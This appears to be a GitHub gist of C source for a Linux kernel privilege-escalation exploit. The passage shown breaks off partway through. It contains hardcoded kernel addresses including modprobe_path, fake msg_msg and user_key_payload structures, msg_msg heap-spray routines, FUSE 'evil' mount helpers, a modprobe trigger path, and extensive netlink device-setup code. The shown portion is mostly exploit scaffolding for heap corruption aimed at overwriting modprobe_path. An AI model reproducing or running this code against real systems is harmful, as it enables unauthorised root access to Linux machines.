Skip to content

Instantly share code, notes, and snippets.

@Albocoder
Created March 30, 2023 14:04
Show Gist options
  • Save Albocoder/c35cedbf39702e0b49994c7d0dc5f6d3 to your computer and use it in GitHub Desktop.
Save Albocoder/c35cedbf39702e0b49994c7d0dc5f6d3 to your computer and use it in GitHub Desktop.
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/epoll.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>
#include <linux/msg.h>
#include <sys/resource.h>
#include <linux/keyctl.h>
#include <net/if.h>
#include <pthread.h>
//#include <sys/ipc.h>
//#include <sys/shm.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include "fuse_evil.h"
#define SIOCETHTOOL 0x8946
#define SLAB_32_OBJS_PER_SLAB 64
#define SLAB_32_CPU_PARTIAL 30
#define SLAB_1k_OBJS_PER_SLAB 32
#define SLAB_1k_CPU_PARTIAL 6
#define SLAB_2k_OBJS_PER_SLAB 16
#define SLAB_2k_CPU_PARTIAL 6
#define SLAB_4k_OBJS_PER_SLAB 8
#define SLAB_4k_CPU_PARTIAL 2
#define SIZE_OF_MSG_MSG 48
#define SIZE_OF_MSG_MSGSEG 8
#define OOB_PAGE 0xf
#define PAGE_SIZE 0x1000
#define TTY_NUM 32
#define LAST_PAGE_GAP_BYTES 0x88
#define MSG_LEN 0x1018
#define CLEAR_LIST 0
#define PRINT_STACK_DEBUG 1
#define PRINT_PAGE_ALLOC 1 << 1
#define PRINT_PAGE_FREE 1 << 2
#define PRINT_MSG 1 << 3
#define PRINT_USER_KEY_PAYLOAD 1 << 4
#define PRINT_OOB_INFO 1 << 5
#define PRINT_ANY_PROC 1 << 6
#define PRINT_PAGE_CUR_ORDER 1 << 7
#define PRINT_PAGE_FREE_DETAIL 1 << 8
#define PRINT_XATTR 1 << 9
#define PRINT_OOB_DETAIL 1 << 10
#define PRINT_TARGET_SLAB 1 << 11
#define PRINT_MSG_DETAIL 1 << 12
#define SIZE_OF_USER_KEY_PAYLOAD 2049
#define SIZE_OF_USER_KEY_PAYLOAD_SLAB 4096
#define HEAP_SPRAY_LOOP 2
#define N_PROCS 8
#define N_LOOP N_PROCS
#define FUSE_MOUNT1 "evil1"
#define FUSE_MOUNT2 "evil2"
#define PROC_MODPROBE_TRIGGER "/tmp/modprobe_trigger"
#define MAX_QBYTES_IN_QUEUE 1024
#define BASE_MSGTYPE 0x1
#define MSG_HEADER_SIZE 0x30
#define MSG_SPARY 0x37
uint64_t addr_single_start = 0xffffffff8134b7f0;
uint64_t addr_single_stop = 0xffffffff8134b830;
uint64_t addr_single_next = 0xffffffff8134b810;
uint64_t addr_modprobe_path = 0xffffffff82e6e220;
int64_t kaslr_offset = 0;
int pause_flag = 1;
char *evil_buffer;
uint64_t msg_next = NULL, msglist_prev = NULL, msglist_next = NULL;
int fuse_fd = -1;
void *fuse_mem_addr = NULL;
int msqid[0x1000];
int max_msg;
//#include "sandbox.h"
struct list_head {
struct list_head *next, *prev;
};
struct msgbuf_key {
long mtype;
char mtext[1];
};
struct spary_msg_arg {
int msqid;
int start;
int loop;
int size;
char *payload;
void *dst;
};
struct msg
{
long mtype;
char mtext[1];
};
struct fake_msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next;
void *security;
/* the actual message follows immediately */
};
typedef struct
{
int done;
pthread_mutex_t mutex;
pthread_mutex_t proc_mutex[N_PROCS+1];
} shared_data;
struct spray_argv {
void *addr;
int size;
pthread_mutex_t *mutex;
int *count;
};
static shared_data *free_mutex;
static shared_data *spray_lock;
static shared_data *two_loop;
static shared_data *shell_lock;
static shared_data *hang_threads;
struct fake_user_key_payload {
void *next;
void *callback;
short unsigned int datalen;
};
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
void *recvmymsg(int _msqid, int size, void *memdump, int type, int free) {
if (!free)
free = MSG_COPY;
if (msgrcv(_msqid, (void *) memdump, size, type,
IPC_NOWAIT | free | MSG_NOERROR) == -1) {
if(errno != ENOMSG) {
perror("msgrcv");
exit(1);
}
}
}
int msg_spray(int num_msg, int size, int loop) {
int i;
#ifdef MSG_DEBUG
printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop);
#endif
for (i = 0; i<num_msg; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
#ifdef MSG_DEBUG
printf("[*] msg_spray: msqid[%d]: %d\n", i, msqid[i]);
#endif
sendmymsg(msqid[i], 0, loop, size);
}
return i;
}
void sendmymsg(int _msqid, int start, int loop, int size)
{
int i, buff_size = size-MSG_HEADER_SIZE;
int qbytes = MAX_QBYTES_IN_QUEUE;
struct msgbuf_key *msg_key = malloc(sizeof(long) + buff_size);
memset(&msg_key->mtext[0], MSG_SPARY, buff_size);
for (i = start; i < start+loop; i++) {
msg_key->mtype = BASE_MSGTYPE + i;
//printf("[*] sendmymsg: msqid: %d, mtype: %ld\n", _msqid, msg_key->mtype);
int ret = msgsnd(_msqid, msg_key, buff_size, 0);
//printf("[*] sendmymsg: msqid: %d, ret: %d\n", _msqid, ret);
if (ret == -1) {
printf("msgsnd error\n");
exit(1);
}
}
free(msg_key);
}
void load_symbols()
{
struct utsname version;
char buf[1024];
char *symbol;
int ret;
FILE *fp;
u_int64_t addr;
ret = uname(&version);
if (ret != 0) {
printf("Failed to retrieve kernel version using uname()\n");
exit(EXIT_FAILURE);
}
printf("Kernel version %s\n", version.release);
memset(buf, 0, sizeof(buf));
snprintf(buf, sizeof(buf), "symbols/System.map-%s", version.release);
fp = fopen(buf, "r");
if (fp == NULL) {
printf("Failed to open symbol file %s\n", buf);
return;
}
while(fgets(buf, sizeof(buf), fp) != NULL) {
buf[16] = 0;
addr = strtoul(buf, NULL, 16);
symbol = &buf[19];
if (!strcmp(symbol, "single_start\n")) {
addr_single_start = addr;
printf("0x%016llx single_start\n", addr_single_start);
}
if (!strcmp(symbol, "single_stop\n")) {
addr_single_stop = addr;
printf("0x%016llx single_stop\n", addr_single_stop);
}
if (!strcmp(symbol, "single_next\n")) {
addr_single_next = addr;
printf("0x%016llx single_next\n", addr_single_next);
}
if (!strcmp(symbol, "modprobe_path\n")) {
addr_modprobe_path = addr;
printf("0x%016llx modprobe_path\n", addr_modprobe_path);
}
}
fclose(fp);
if (!addr_single_start ||
!addr_single_stop ||
!addr_single_next ||
!addr_modprobe_path) {
printf("Missing at least one symbols.\n");
exit(EXIT_FAILURE);
}
}
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[4096];
};
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
if (size > 0)
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len, bool dofail)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != (ssize_t)hdr->nlmsg_len) {
if (dofail)
exit(1);
return -1;
}
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (n < 0) {
if (dofail)
exit(1);
return -1;
}
if (n < (ssize_t)sizeof(struct nlmsghdr)) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type != NLMSG_ERROR) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
errno = -((struct nlmsgerr*)(hdr + 1))->error;
return -errno;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL, true);
}
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock,
const char* family_name, bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name,
strnlen(family_name, GENL_NAMSIZ - 1) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
if (err < 0) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
errno = EINVAL;
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
if (err < 0) {
}
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
if (err < 0) {
}
}
static struct nlmsg nlmsg;
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len, true);
if (err < 0) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
